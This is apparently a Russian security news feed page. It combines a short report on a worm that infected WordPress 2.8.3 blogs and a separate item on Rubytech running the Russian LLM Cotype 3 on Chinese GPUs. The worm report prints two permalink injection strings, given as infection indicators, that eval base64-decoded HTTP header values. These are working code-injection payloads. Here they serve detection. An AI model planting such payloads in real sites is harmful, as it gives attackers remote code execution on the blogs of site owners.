Массовое заражение блогов на WordPress

Массовое заражение блогов на WordPress

Месяц назад стало известно о новой критической уязвимости в WordPress 2.8.3, позволяющей легко изменить администраторский пароль в удалённом режиме. После этого вышел WordPress 2.8.4, устраняющий эту уязвимость. Однако, как оказалось, далеко не все блогеры следят за обновлениями.

В эти выходные разразилась настоящая эпидемия нового вируса, поражающего блоги на движке WordPress 2.8.3 и более ранних версий в ветке 2.8.

Червь регистрируется в блоге, запускает вредоносный код через структуру permalink и делает себя вторым админом, потом запускает скрипт для стирания себя со страницы пользователей и начинает добавлять спам и ссылки на вредоносный контент в архивные топики.

Присутствие вредителя довольно сложно обнаружить сразу, тем более если он ещё ничего не опубликовал. Для этого нужно проверить фид permalinks/rss на присутствие следующего кода.

%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

или

“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%

или ошибки

‘error on line 22 at column 71: xmlParseEntityRef: no name wordpress’

Если есть такой код или фид сломан, то блог инфицирован.

Процедура удаления червя представляет собой нетривиальную задачу .

источник 

Rubytech запустила российскую LLM на китайских GPU без NVIDIA

Группа Rubytech протестировала российскую языковую модель Cotype 3 от MWS AI на китайских графических ускорителях. Испытания проводились на программно-аппаратном комплексе «Машина искусственного интеллекта» Скала^р. Результат: модель работала стабильно, а производительность в популярных сценариях инференса оказалась сопоставима с конфигурациями на NVIDIA H100.

В тестовой системе использовались восемь китайских GPU. При обработке контекста объёмом 27 тыс. токенов среднее время генерации первого токена составило около 8 секунд, а межтокенная задержка — от 111 мс. По оценке Rubytech, этого достаточно для корпоративных ИИ-сервисов.

Но железо само себя не настроит. Инженеры адаптировали драйверы, программное окружение и средства оркестрации. В отдельных сценариях оптимизация позволила ускорить работу в 2-2,2 раза по сравнению со штатной средой китайских GPU. Контейнерная архитектура должна упростить развёртывание моделей и переход от тестов к промышленной эксплуатации.

Главный вывод испытаний — корпоративную ИИ-инфраструктуру можно строить без обязательной привязки к ускорителям NVIDIA. Особенно это актуально для госсектора, компаний с государственным участием и организаций КИИ, которым нужны локальное размещение моделей, контролируемая инфраструктура и возможность масштабироваться без лотереи с поставками H100.

Rubytech также заявляет, что китайские GPU в отдельных сценариях способны снизить совокупную стоимость владения. Правда, революцию пока придержали: речь идёт не о полном отказе от NVIDIA, а о появлении ещё одного рабочего варианта.

Дальше компания планирует испытать новое поколение китайских ускорителей и расширить список российских моделей и корпоративных ИИ-сервисов.

RSS: Новости на портале Anti-Malware.ru